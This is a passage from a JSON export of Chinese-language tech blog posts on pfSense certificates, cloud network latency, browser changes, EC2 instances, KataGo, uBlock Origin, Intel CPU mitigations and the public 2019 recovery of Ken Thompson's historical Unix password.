    "body": "其實網路上有一些教學，但大多數的作法都是把 port 80 空出來跑認證用的 HTTP 伺服器，而我這邊的作法是希望維持 <a href=\"https://nginx.org/\">nginx</a>，用 webroot local folder 的方式認證。\r\n\r\n在 <a href=\"https://www.pfsense.org/\">pfSense</a> 上先安裝 <a href=\"https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html\">acme</a> 套件，然後先用 Create new account key 產生出自己的金鑰：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PpjJ1Hm.webp\" /><img src=\"https://i.gslin.com/imgur/PpjJ1Hm.jpg\" alt=\"\" /></picture>\r\n\r\n然後選擇申請 Let's Encrypt Production ACME V2 的帳號：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0AGhb5m.webp\" /><img src=\"https://i.gslin.com/imgur/0AGhb5m.jpg\" alt=\"\" /></picture>\r\n\r\n接著填一下 Name 的部份，按下 Register ACME account key 註冊後就可以按下 Save 存進系統。\r\n\r\n然後就是拿這個帳號申請網域名稱，重點在於，如果選擇 webroot local folder 時，需要填寫對應的 RootFolder 參數 (這塊做得很怪，沒有預設值 XD)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kUfqQk2.webp\" /><img src=\"https://i.gslin.com/imgur/kUfqQk2.jpg\" alt=\"\" /></picture>\r\n\r\n然後按下 Save 後存起來，回到頁面上就可以按 Issue/Renew 申請了，申請成功以後就可以到最上方 tab 的 System，在裡面的 Advanced 就可以改 HTTPS 管理界面使用的憑證，改好後把瀏覽器關掉重開就可以確認是不是有設定好...",
    "title": "讓 pfSense 的管理界面接上 Let's Encrypt"
  },
  {
    "id": "9226",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 一開始是提供 Premium Network，會透過 Google 自家的網路骨幹連到最近的點，然後再透過當地的機房交換出去，這樣可以確保頻寬的穩定性，但成本當然也就比較高...\r\n\r\n後來提供了 Standard Network 則是從機房出去後就直接交換，成本會比較低 (參考「<a href=\"https://cloud.google.com/network-tiers/\">Network Service Tiers - Custom Cloud Network</a>」這篇)，但在台灣的機房一直都沒有提供 Standard Network (好像是需要另外申請？)，所以我每個月月底的時候都會測一下看看開放了沒... 然後剛剛發現可以開起來了，不確定是已經全開了還是分批開。\r\n\r\n測了一下發現網路相當... 爛？是還在調整嗎...\r\n\r\n像是 <code>1.1.1.1</code> 的 latency 很高 (自家的 <code>8.8.8.8</code> 當然就沒這個問題)：\r\n\r\n<pre>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.\r\n64 bytes from 1.1.1.1: icmp_seq=1 ttl=49 time=48.9 ms\r\n64 bytes from 1.1.1.1: icmp_seq=2 ttl=49 time=48.5 ms\r\n64 bytes from 1.1.1.1: icmp_seq=3 ttl=49 time=48.5 ms\r\n\r\n--- 1.1.1.1 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2003ms\r\nrtt min/avg/max/mdev = 48.554/48.691/48.964/0.193 ms</pre>\r\n\r\n然後 <code>168.95.1.1</code>、<code>139.175.1.1</code> 也都很差 (<code>61.31.1.1</code> 不給 ping)：\r\n\r\n<pre>PING 168.95.1.1 (168.95.1.1) 56(84) bytes of data.\r\n64 bytes from 168.95.1.1: icmp_seq=1 ttl=239 time=21.2 ms\r\n64 bytes from 168.95.1.1: icmp_seq=2 ttl=239 time=21.3 ms\r\n64 bytes from 168.95.1.1: icmp_seq=3 ttl=239 time=21.4 ms\r\n\r\n--- 168.95.1.1 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2003ms\r\nrtt min/avg/max/mdev = 21.276/21.367/21.454/0.072 ms</pre>\r\n\r\n<pre>PING 139.175.1.1 (139.175.1.1) 56(84) bytes of data.\r\n64 bytes from 139.175.1.1: icmp_seq=1 ttl=53 time=63.4 ms\r\n64 bytes from 139.175.1.1: icmp_seq=2 ttl=53 time=62.9 ms\r\n64 bytes from 139.175.1.1: icmp_seq=3 ttl=53 time=62.9 ms\r\n\r\n--- 139.175.1.1 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2003ms\r\nrtt min/avg/max/mdev = 62.967/63.139/63.455/0.303 ms</pre>\r\n\r\n不過學術網路倒是還不錯：\r\n\r\n<pre>PING 140.112.2.2 (140.112.2.2) 56(84) bytes of data.\r\n64 bytes from 140.112.2.2: icmp_seq=1 ttl=51 time=5.13 ms\r\n64 bytes from 140.112.2.2: icmp_seq=2 ttl=51 time=4.40 ms\r\n64 bytes from 140.112.2.2: icmp_seq=3 ttl=51 time=4.52 ms\r\n\r\n--- 140.112.2.2 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2003ms\r\nrtt min/avg/max/mdev = 4.405/4.690/5.138/0.325 ms</pre>\r\n\r\n<pre>PING 140.113.250.135 (140.113.250.135) 56(84) bytes of data.\r\n64 bytes from 140.113.250.135: icmp_seq=1 ttl=55 time=5.87 ms\r\n64 bytes from 140.113.250.135: icmp_seq=2 ttl=55 time=5.97 ms\r\n64 bytes from 140.113.250.135: icmp_seq=3 ttl=55 time=6.11 ms\r\n\r\n--- 140.113.250.135 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2002ms\r\nrtt min/avg/max/mdev = 5.872/5.987/6.119/0.135 ms</pre>\r\n\r\n<pre>PING 140.117.11.1 (140.117.11.1) 56(84) bytes of data.\r\n64 bytes from 140.117.11.1: icmp_seq=1 ttl=242 time=9.52 ms\r\n64 bytes from 140.117.11.1: icmp_seq=2 ttl=242 time=9.17 ms\r\n64 bytes from 140.117.11.1: icmp_seq=3 ttl=242 time=9.20 ms\r\n\r\n--- 140.117.11.1 ping statistics ---\r\n3 packets transmitted, 3 received, 0% packet loss, time 2003ms\r\nrtt min/avg/max/mdev = 9.172/9.298/9.521/0.176 ms</pre>\r\n\r\n有需要的人可以測試看看了...",
    "title": "Google Cloud Platform 在台灣的機房可以開 Standard Network 的機器了"
  },
  {
    "id": "9227",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Daily Hacker News</a> 上看到「<a href=\"https://en.wikipedia.org/wiki/Berlin_key\">Berlin key</a>」這個東西，用機械結構就可以強迫使用者一定要鎖門的鑰匙。\r\n\r\n門平常都是上鎖的，要解鎖要先用鑰匙打開，然後從另外一邊鎖上後才能拿出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OKnf42Rl.webp\" /><img src=\"https://i.gslin.com/imgur/OKnf42Rl.jpg\" alt=\"\" /></picture>\r\n\r\n是個有年代的設計，但現在在柏林還是有不少這樣的設計：\r\n\r\n<blockquote>Invented by the Berliner locksmith Johannes Schweiger, the Berlin key was massively produced by the Albert Kerfin & Co company starting in 1912. With the advent of more recent locking technologies, this kind of lock and key is becoming less common. It was estimated that 8000-10000 are still in use today in Berlin, Germany.</blockquote>\r\n\r\n現代則是用自動門的門禁來管制，但這個設計還是很有趣...",
    "title": "柏林鑰匙"
  },
  {
    "id": "9228",
    "body": "看到「<a href=\"https://www.cathaybk.com.tw/cathaybk/promo/event/credit-card/service/awsoct/index.html\">國泰世華銀行 - aws 秒上雲端，智能升級</a>」這個神奇的合作方案，看起來是國泰的信用卡有優惠...\r\n\r\n不過我的帳號是 090 開頭的啊，幹幹...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5K3WxNR.webp\" /><img src=\"https://i.gslin.com/imgur/5K3WxNR.jpg\" alt=\"\" /></picture>",
    "title": "國泰世華與 AWS 的合作"
  },
  {
    "id": "9229",
    "body": "現在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的穩定版是 77，到了十二月會推出的 79 的時候，就會有一連串的避免 HTTPS 頁面使用 HTTP 資源的措施：「<a href=\"https://security.googleblog.com/2019/10/no-more-mixed-messages-about-https_3.html\">No More Mixed Messages About HTTPS</a>」。\r\n\r\n首先是 79 的時候會有新的界面，讓使用者可以修改阻擋類的設定。\r\n\r\n到了 80 的時候會試著將 HTTP 的影音 <code>&lt;audio&gt;</code> 與 <code>&lt;video&gt;</code> 升級到 HTTPS 連線，如果 HTTPS 讀不到的話就當作讀取失敗。但圖片 <code>&lt;img&gt;</code> 的部份則是會讀進來，只是安全性上會顯示 Not Secure。\r\n\r\n到了 81 就是這系列的最終階段，包括 <code>&lt;img&gt;</code> 也會一使用 80 時影音的邏輯，沒辦法在 HTTPS 上讀到就當作讀取失敗。",
    "title": "Chrome 將不會在 HTTPS 頁面上載入 HTTP 資源..."
  },
  {
    "id": "9230",
    "body": "歐盟在推動設備的維修權：「<a href=\"https://www.bbc.com/news/business-49884827\">EU brings in 'right to repair' rules for appliances</a>」，歐盟的新聞稿在「<a href=\"https://europa.eu/rapid/press-release_IP-19-5895_en.htm\">New rules make household appliances more sustainable</a>」這邊。\r\n\r\n主要是因為現在很多廠商會故意將維修成本拉高，推動使用者去買新的，反而導致浪費：\r\n\r\n<blockquote>Owners are usually unable to repair the machines themselves - or find anyone else to do it at a decent price - so are forced to buy a replacement.</blockquote>\r\n\r\n新法會在 2021 年實施，主要是以家電為主，強迫製造商必須設計可被更換，並且需要提供備料讓使用者採購。",
    "title": "歐盟在推動的設備維修權..."
  },
  {
    "id": "9233",
    "body": "<a href=\"https://caddyserver.com/\">Caddy Server</a> 是一套 HTTP Server，目標是讓使用者可以很容易設定一個安全的 HTTP Server。\r\n\r\n程式碼本身是 open source (採用 Apache License 2.0)，但官方包出來的 binary 則是限制個人免費使用或是購買訂閱，但如果你自己編譯打包的話又還是 open source license，是一個很奇怪的商業模式...\r\n\r\n再加上看到他的設定檔的格式後，發現他包太多東西了 (連 markdown 相關的處理都包進去)，實在是不愛這種設計 (感到遲早會有滿滿的 CVE)，而 <a href=\"https://nginx.org/\">nginx</a> 就是把 HTTP Server 相關的業務處理好，相較起來就懶的理了...\r\n\r\n現在看起來 Caddy Server 應該覺得這樣沒賺頭而決定把訂閱拿掉，全部都開放出來：「<a href=\"https://github.com/caddyserver/caddy/issues/2786\">Proposal: Permanently change all proprietary licensing to open source</a>」。\r\n\r\n但比較奇怪的還是，這件事情其實你也不用徵求社群意見，你們自己公司內部確認好就好，這個比較像是 PR 而已...",
    "title": "Caddy Server 要採用 Open Source..."
  },
  {
    "id": "9234",
    "body": "既然有方向了，後續應該會有人去找底層的問題...\r\n\r\n先是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://chromium-review.googlesource.com/c/v8/v8/+/1803775\">Speculative fix to crashes from a CPU bug</a>」這個猜測性的修正，這是因為他們發現在 <a href=\"https://www.intel.com/\">Intel</a> 的 <a href=\"https://en.wikipedia.org/wiki/Gemini_Lake\">Gemini Lake</a> 低功耗晶片組上會發生很詭異的 crash：\r\n\r\n<blockquote>For the last few months Chrome has been seeing many \"impossible\" crashes on Intel Gemini Lake, family 6 model 122 stepping 1 CPUs. These crashes only happen with 64-bit Chrome and only happen in the prologue of two functions. The crashes come and go across different Chrome versions.</blockquote>\r\n\r\n然後依照 crash log 猜測跟 alignment 有關，所以決定用 gcc/clang 都有支援的 <code>__attribute__</code> 強制設定 alignment 來避開，但看起來手上沒有可以重製的環境，所以只能先把實做丟上來...",
    "title": "Google Chrome 對 CPU bug 的 patch"
  },
  {
    "id": "9235",
    "body": "「<a href=\"https://htmlhead.dev/\">HEAD - A free guide to &lt;head&gt; elements</a>」這篇整理了 HTML 裡 &lt;head&gt; 的標準，以及網路上夠大的廠商所定義的標準 (另外還把中國的瀏覽器也拉出來)。\r\n\r\n從目錄就可以看出來講了哪些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8RJgGTg.webp\" /><img src=\"https://i.gslin.com/imgur/8RJgGTg.jpg\" alt=\"\" /></picture>\r\n\r\n另外一種看法就是，你要怎麼樣讓你的 &lt;head&gt; 塞滿垃圾然後變得很肥... XD",
    "title": "HTML 裡 head 的整理..."
  },
  {
    "id": "9238",
    "body": "最近開始在不同的地方會看到 <a href=\"https://github.com/lightvector/KataGo\">KataGo</a> 這個名字 (<a href=\"https://twitter.com/\">Twitter</a> 與 <a href=\"https://www.youtube.com/\">YouTube</a> 上都有看到)，翻了一下資料發現是在訓練成本上有重大突破，依照論文的宣稱快了五十倍...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l6rqUVl.webp\" /><img src=\"https://i.gslin.com/imgur/l6rqUVl.jpg\" alt=\"\" /></picture>\r\n\r\n在第一次跑的時候，只用了 35 張 <a href=\"https://en.wikipedia.org/wiki/Nvidia_Tesla\">V100</a> 跑七天就有 <a href=\"https://github.com/leela-zero/leela-zero\">Leela Zero</a> 第 130 代的強度：\r\n\r\n<blockquote>The first serious run of KataGo ran for 7 days in Februrary 2019 on up to 35xV100 GPUs. This is the run featured in the paper. It achieved close to LZ130 strength before it was halted, or up to just barely superhuman.</blockquote>\r\n\r\n而第二次跑的時候用了 28 張 V100 跑 20 blocks 的訓練，跑了 19 天就已經超越 <a href=\"https://www.facebook.com/\">Facebook</a> 當初提供的 ELFv2 版本，而對應到 Leela Zero 大約是第 200 代左右的強度 (要注意的是在 Leela Zero 這邊已經是用 40 blocks 的結構訓練了一陣子了)：\r\n\r\n<blockquote>Following some further improvements and much-improved hyperparameters, KataGo performed a second serious run in May-June a max of 28xV100 GPUs, surpassing the February run after just three and a half days. The run was halted after 19 days, with the final 20-block networks reaching a final strength slightly stronger than LZ-ELFv2! (This is Facebook's very strong 20-block ELF network, running on Leela Zero's search architecture). Comparing to the yet larger Leela Zero 40-block networks, KataGo's network falls somewhere around LZ200 at visit parity, despite only itself being 20 blocks.</blockquote>\r\n\r\n從論文裡面可以看到，跟 Leela Zero 一樣是逐步提昇 (應該也是用 Net2Net)，而不是一開始就拉到 20x256：\r\n\r\n<blockquote>In KataGo’s main 19-day run, (b, c) began at (6, 96) and switched to (10, 128), (15, 192), and (20, 256), at roughly 0.75 days, 1.75 days, and 7.5 days, respectively. The final size approximately matches that of AlphaZero and ELF.</blockquote>\r\n\r\n訓練速度上會有這麼大的改善，分成兩個類型，一種是一般性的 (在「Major General Improvements」這章)，另外一類是特定於圍棋領域的改進 (在「Major Domain-Specific Improvements」這章)。\r\n\r\n在 Leela Zero 的 issue tracking 裡面也可以看到很多關於 KataGo 的消息，看起來作者也在裡面一起討論，應該會有一些結果出來...",
    "title": "用更少訓練時間的 KataGo"
  },
  {
    "id": "9239",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 又把機器給生出來啦：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-high-memory-update-new-18-tb-and-24-tb-instances/\">EC2 High Memory Update – New 18 TB and 24 TB Instances</a>」。\r\n\r\n一樣是限制要買三年 RI 才能用，不過價錢頁面上好像還在更新，在「<a href=\"https://aws.amazon.com/ec2/dedicated-hosts/pricing/\">Amazon EC2 Dedicated Hosts Pricing</a>」只看到了之前就公佈的 12TB 價錢，還沒看到 18TB 與 24TB 的部份...\r\n\r\n然後以前會跟同事說，資料小於這台機器記憶體大小的不能叫 big data (當時是 12TB)，現在升級到 24TB 啦...",
    "title": "EC2 推出 18TB 與 24TB 的機器..."
  },
  {
    "id": "9240",
    "body": "剛剛看到這串還蠻歡樂的...\r\n\r\n起因於 BSD 3 的程式碼裡面有個 <code>/etc/passwd</code>，而且是帶有 <a href=\"https://en.wikipedia.org/wiki/Crypt_(C)\">crypt</a> 的版本：「<a href=\"https://github.com/dspinellis/unix-history-repo/blob/BSD-3-Snapshot-Development/etc/passwd\">unix-history-repo/etc/passwd</a>」。\r\n\r\n裡面有蠻多密碼都已經被解出來了，但還是有些還沒解出來... 而最近的消息是 <code>ken</code> (<a href=\"https://en.wikipedia.org/wiki/Ken_Thompson\">Ken Thompson</a>) 的密碼被解了出來：「<a href=\"https://leahneukirchen.org/blog/archive/2019/10/ken-thompson-s-unix-password.html\">Ken Thompson's Unix password</a>」。\r\n\r\n<pre>From: Nigel Williams &lt;nw@retrocomputingtasmania.com&gt;\r\nCc: TUHS main list &lt;tuhs@minnie.tuhs.org&gt;\r\nSubject: Re: [TUHS] Recovered /etc/passwd files\r\nDate: Wed, 9 Oct 2019 16:49:48 +1100\r\n\r\nken is done:\r\n\r\nZghOT0eRm4U9s:p/q2-q4!\r\n\r\ntook 4+ days on an AMD Radeon Vega64 running hashcat at about 930MH/s\r\nduring that time (those familiar know the hash-rate fluctuates and\r\nslows down towards the end).</pre>\r\n\r\n另外解出來的人也發現了這組密碼是一組西洋棋的 <a href=\"https://en.wikipedia.org/wiki/Descriptive_notation\">Descriptive notation</a>，跟 Ken Thompson 的背景也相符：\r\n\r\n<pre>From: Nigel Williams &lt;nw@retrocomputingtasmania.com&gt;\r\nCc: TUHS main list &lt;tuhs@minnie.tuhs.org&gt;\r\nSubject: Re: [TUHS] Recovered /etc/passwd files\r\nDate: Wed, 9 Oct 2019 16:52:00 +1100\r\n\r\nOn Wed, Oct 9, 2019 at 4:49 PM Nigel Williams\r\n&lt;nw@retrocomputingtasmania.com&gt; wrote:\r\n&gt; ZghOT0eRm4U9s:p/q2-q4!\r\n\r\nBTW, is that a chess move?</pre>\r\n\r\n不過我覺得最好玩的是這個，不確定是不是本尊就是了：\r\n\r\n<pre>From: Ken Thompson via TUHS &lt;tuhs@minnie.tuhs.org&gt;\r\nTo: Andy Kosela &lt;akosela@andykosela.com&gt;\r\nCc: TUHS main list &lt;tuhs@minnie.tuhs.org&gt;\r\nSubject: Re: [TUHS] Recovered /etc/passwd files\r\nDate: Wed, 9 Oct 2019 01:53:25 -0700\r\n\r\ncongrats.\r\n\r\nOn Wed, Oct 9, 2019 at 1:16 AM Andy Kosela &lt;akosela@andykosela.com&gt; wrote:\r\n&gt;\r\n&gt; On 10/9/19, Warner Losh &lt;imp@bsdimp.com> wrote:\r\n&gt; > On Tue, Oct 8, 2019, 11:52 PM Nigel Williams\r\n&gt; > &lt;nw@retrocomputingtasmania.com>\r\n&gt; > wrote:\r\n&gt; >\r\n&gt; >> On Wed, Oct 9, 2019 at 4:49 PM Nigel Williams\r\n&gt; >> &lt;nw@retrocomputingtasmania.com> wrote:\r\n&gt; >> > ZghOT0eRm4U9s:p/q2-q4!\r\n&gt; >>\r\n&gt; >> BTW, is that a chess move?\r\n&gt; >>\r\n&gt; >\r\n&gt; > Most common opening.\r\n&gt; >\r\n&gt;\r\n&gt; Descriptive chess notation is not as popular today as it was back in\r\n&gt; the 70s, but it actually makes perfect sense as Ken is a long time\r\n&gt; chess enthusiast.\r\n&gt;\r\n&gt; --Andy</pre>\r\n\r\n還有 <a href=\"https://en.wikipedia.org/wiki/Rob_Pike\">Rob Pike</a> 對這件事情不怎麼贊同的看法：\r\n\r\n<pre>From: Rob Pike &lt;robpike@gmail.com&gt;\r\nTo: Nigel Williams &lt;nw@retrocomputingtasmania.com&gt;\r\nCc: TUHS main list &lt;tuhs@minnie.tuhs.org&gt;\r\nSubject: Re: [TUHS] Recovered /etc/passwd files\r\nDate: Wed, 9 Oct 2019 09:59:43 -1000\r\n\r\nI coulda told you that. One tends to learn passwords (inadvertently) when\r\nthey're short and typed nearby often enough. (Sorry, ken.)\r\n\r\nIf I remember right, the first half of this password was on a t-shirt\r\ncommemorating Belle's first half-move, although its notation may have been\r\ndifferent.\r\n\r\nInteresting though it is, though, I find this hacking distasteful. It was\r\ndistasteful back when, and it still is. The attitudes around hackery have\r\nchanged; the position nowadays seems to be that the bad guys are doing it\r\nso the good guys should be rewarded for doing it first. That's disingenuous\r\nat best, and dangerous at worst.\r\n\r\n-rob\r\n\r\n\r\nOn Tue, Oct 8, 2019 at 7:50 PM Nigel Williams &lt;nw@retrocomputingtasmania.com&gt;\r\nwrote:\r\n\r\n&gt; ken is done:\r\n&gt;\r\n&gt; ZghOT0eRm4U9s:p/q2-q4!\r\n&gt;\r\n&gt; took 4+ days on an AMD Radeon Vega64 running hashcat at about 930MH/s\r\n&gt; during that time (those familiar know the hash-rate fluctuates and\r\n&gt; slows down towards the end).\r\n&gt;</pre>\r\n\r\n意外的引誘到一群人跑出來...",
    "title": "Ken Thompson 的密碼"
  },
  {
    "id": "9241",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://www.arm.com/\">ARM</a> 平台的採用速度比想像中快，昨天發表了 bare metal 版本 <code>a1.metal</code>：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-bare-metal-arm-based-ec2-instances/\">Now Available: Bare Metal Arm-Based EC2 Instances</a>」。\r\n\r\n相較於 x86 系列提供的 bare metal，ARM 這邊提供的機器不算大台，只有 16 核心與 32 GB 的記憶體，所以主要的用途應該是在於可以存取系統底層的資訊，或是因為軟體的授權不支援虛擬化而需要租用 bare metal：\r\n\r\n<ul>\r\n\t<li>need access to physical resources and low-level hardware features, such as performance counters, that are not always available or fully supported in virtualized environments,</li>\r\n\t<li>are intended to run directly on the hardware, or licensed and supported for use in non-virtualized environments.</li>\r\n</ul>\r\n\r\n這次的 <code>a1.metal</code> 共八區可以用：\r\n\r\n<blockquote>You can start using a1.metal instances today in US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), Europe (Frankfurt), Asia Pacific (Tokyo), Asia Pacific (Mumbai), and Asia Pacific (Sydney).</blockquote>",
    "title": "EC2 的 ARM 也支援 bare metal 版本了..."
  },
  {
    "id": "9243",
    "body": "剛剛改回用 beta channel 的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> (78 版)，結果發現網址列裡的 <code>www</code> 被拿掉，而且本來可以關掉的方式 (<code>omnibox-ui</code> 系列的設定) 從 <code>chrome://flags</code> 裡面也拔掉了，代表你現在關不掉了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mTVL3ih.webp\" /><img src=\"https://i.gslin.com/imgur/mTVL3ih.jpg\" alt=\"\" /></picture>\r\n\r\n搜了一下資料，發現在 <a href=\"https://www.reddit.com/\">Reddit</a> 上有人討論過 78 版的這個問題 (當時還在 dev channel)：「<a href=\"https://www.reddit.com/r/chrome/comments/cz0hcv/chrome_78_dev_hide_www_again/\">Chrome 78 dev hide 'www' again</a>」。\r\n\r\n裡面有人提到可以安裝 <a href=\"https://chrome.google.com/webstore/detail/suspicious-site-reporter/jknemblkbdhdcpllfgbfekkdciegfboi\">Suspicious Site Reporter</a> 讓 <code>www</code> 重現，當初看到還半信半疑，結果裝了發現真的會動，WTF...\r\n\r\n看了一下 extension 的 source code 發現好大一包，以後應該會有人生一個小的 extension 出來專門做這件事情？",
    "title": "Google Chrome 78 又要搞事把 www 開頭拿掉了..."
  },
  {
    "id": "9244",
    "body": "<a href=\"https://github.com/gorhill/uBlock/\">uBlock Origin</a> 是一個在瀏覽器上擋廣告的軟體，以前在推廣的時候都只提到可以過濾掉網站上的廣告，大家興趣其實都不太高 (還會有「留口飯讓別人吃」之類的 XDDD)，但最近跟同事推廣的時候改用「可以擋 <a href=\"https://www.youtube.com/\">YouTube</a> 的影音廣告喔」，大家接受度意外的爆高，不過這有點扯遠了，回到原來的主題上...\r\n\r\n先介紹一下 uBlock Origin 的開發模式，除了一般的 stable 版本外 (「<a href=\"https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm\">uBlock Origin</a>」這組)，另外會有另外一個 dev 版本上傳到 <a href=\"https://en.wikipedia.org/wiki/Chrome_Web_Store\">Chrome Web Store</a> (CWS) 上 (「<a href=\"https://chrome.google.com/webstore/detail/ublock-origin-development/cgbcahbpdhpcegmbfconppldiemgcoii\">uBlock Origin development build</a>」這組)，這樣讓使用者比較容易安裝與測試，這個方式也可以在 <a href=\"https://www.tampermonkey.net/\">Tampermonkey</a> 上看到。\r\n\r\n這次主要維護者 Raymond Hill (gorhill) 在 <code>1.22.5rc1</code> 版上傳到 CWS 上後收到被拒絕上架的通知：「<a href=\"https://github.com/uBlockOrigin/uBlock-issues/issues/745\">Dev build 1.22.5rc1 \"REJECTED\" from Chrome Web Store</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nse9Pr9.webp\" /><img src=\"https://i.gslin.com/imgur/nse9Pr9.jpg\" alt=\"\" /></picture>\r\n\r\n拒絕的原因是 CWS 要求要有套件必須符合「目的單一性」，也就是不能把目的不同的東西強迫使用者綁在一起使用：\r\n\r\n<blockquote>Your item did not comply with the following section of our policy: An extension should have a single purpose that is clear to users. Do not create an extension that requires users to accept bundles of unrelated functionality, such as an email notifier and a news headline aggregator. If two pieces of functionality are clearly separate, they should be put into two different extensions, and users should have the ability to install and uninstall them separately. For example, an extension that provides a broad array of functionalities on the New Tab Page/ Start-up Page but also changes the default search are better delivered as separate extensions, so that users can select the services they want. For more information on the new Chrome extensions quality policy, please refer to the FAQ: https://developer.chrome.com/extensions/single_purpose</blockquote>\r\n\r\n後續的 <code>1.22.5rc2</code> 也被拒絕，然後他回信詢問了 CWS 官方，得到的仍然是罐頭回應，然後他就決定丟著 (而這個作法還蠻聰明的)，接著這件事情就被丟著變成 PR 事件上了一些媒體，然後昨天就突然解了...\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 最近的動作愈來愈多了，一方面在嘗試避免觸動反托拉斯法的情況，儘可能打壓這些擋廣告的套件...",
    "title": "uBlock Origin 的開發版 (Dev) 被 Chrome Web Store 拒絕的事件..."
  },
  {
    "id": "9245",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到在講 <a href=\"https://www.intel.com/\">Intel</a> CPU 因為各種安全性問題，而需要在 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 上修正，所產生的效能問題：「<a href=\"https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(again)_on_Intel_CPUs\">HOWTO make Linux run blazing fast (again) on Intel CPUs</a>」。\r\n\r\n這一系列的子彈也飛得夠久了 (雖然還是一直有其他的小子彈在飛)，所以回過頭來看一下目前的情況。\r\n\r\n這邊主要的測試是針對 <code>mitigations=off</code> 與 SMT 的啟用兩個項目在測 (SMT 在 Intel 上叫做 <a href=\"https://en.wikipedia.org/wiki/Hyper-threading\">Hyper-threading</a>)，可以看到這兩份測試結果，目前的 mitigation 對效能的影響其實已經逐漸降到可以接受的程度 (小於 5%)，但關閉 SMT 造成的效能影響大約都在 20%～30%：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EBX7rPh.webp\" /><img src=\"https://i.gslin.com/imgur/EBX7rPh.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/riygGTC.webp\" /><img src=\"https://i.gslin.com/imgur/riygGTC.jpg\" alt=\"\" /></picture>\r\n\r\n但是開啟 SMT 基本上是個大坑，如果有關注大家在挖洞的對象，可以看到一堆 Intel CPU 上專屬的安全性問題都跟 SMT 有關...\r\n\r\n剛好岔個題聊一下，先前弄了一顆 <a href=\"https://www.amd.com/\">AMD</a> 的 <a href=\"https://www.amd.com/en/products/cpu/amd-ryzen-7-3700x\">Ryzen 7 3700X</a> 在用 (也是跑 Linux 桌機)，才感受到現在的網頁真的很吃 CPU，開個網頁版的 <a href=\"https://slack.com/\">Slack</a> 與 <a href=\"https://www.office.com/\">Office 365</a> 的速度比原來的老機器快了好多，差點想要把家裡的桌機也換掉...",
    "title": "Linux 上 Intel CPU 的安全性修正與效能的影響"
  },
  {
    "id": "9248",
    "body": "算是 <a href=\"https://aws.amazon.com/\">AWS</a> 的 PR 稿，在老闆對雲的宣示與政治正確下本來就會陸陸續續轉過去...\r\n\r\n這次是 <a href=\"https://www.amazon.com/\">Amazon</a> 的 Consumer Business 從 <a href=\"https://www.oracle.com/\">Oracle</a> 的系統換到 AWS 自己的系統：「<a href=\"https://aws.amazon.com/jp/blogs/aws/migration-complete-amazons-consumer-business-just-turned-off-its-final-oracle-database/\">Migration Complete – Amazon’s Consumer Business Just Turned off its Final Oracle Database</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MTYK8iQ.webp\" /><img src=\"https://i.gslin.com/imgur/MTYK8iQ.jpg\" alt=\"\" /></picture>\r\n\r\n原先有 75 PB 的資料與 7500 個 database：\r\n\r\n<blockquote>We migrated 75 petabytes of internal data stored in nearly 7,500 Oracle databases to multiple AWS database services including Amazon DynamoDB, Amazon Aurora, Amazon Relational Database Service (RDS), and Amazon Redshift.</blockquote>\r\n\r\n其中一個優點是省成本，但是也投入了超過一百個團隊一起參與轉移，會需要攤多久才會打平，這點在沒有看到內部財務資料其實沒辦法判斷，而且工程資源的稀缺性也是個沒有被看到的資訊：\r\n\r\n<blockquote>Cost Reduction – We reduced our database costs by over 60% on top of the heavily discounted rate we negotiated based on our scale. Customers regularly report cost savings of 90% by switching from Oracle to AWS.</blockquote>\r\n\r\n<blockquote>More than 100 teams in Amazon’s Consumer business participated in the migration effort.</blockquote>\r\n\r\n然後 latency 的下降其實也只能參考，因為轉移系統的時候也會順便改寫，有多少是因為 AWS 服務本身帶出來，在沒有內部資料看不出來：\r\n\r\n<blockquote>Performance Improvements – Latency of our consumer-facing applications was reduced by 40%.</blockquote>\r\n\r\n管理成本算是裡面唯一可以參考的，畢竟是搬到可延展擴充的服務：\r\n\r\n<blockquote>Administrative Overhead – The switch to managed services reduced database admin overhead by 70%.</blockquote>\r\n\r\n另外，沒寫的東西比較有趣，像是他們沒有選擇 <a href=\"https://aws.amazon.com/athena/\">Athena</a> 而是用 <a href=\"https://aws.amazon.com/redshift/\">Redshift</a>，看起來像是先轉上去，其他找機會再說...",
    "title": "Amazon 又把一個大部門的 Oracle 系統轉移到了 AWS 自家的系統"
  },
  {
    "id": "9249",
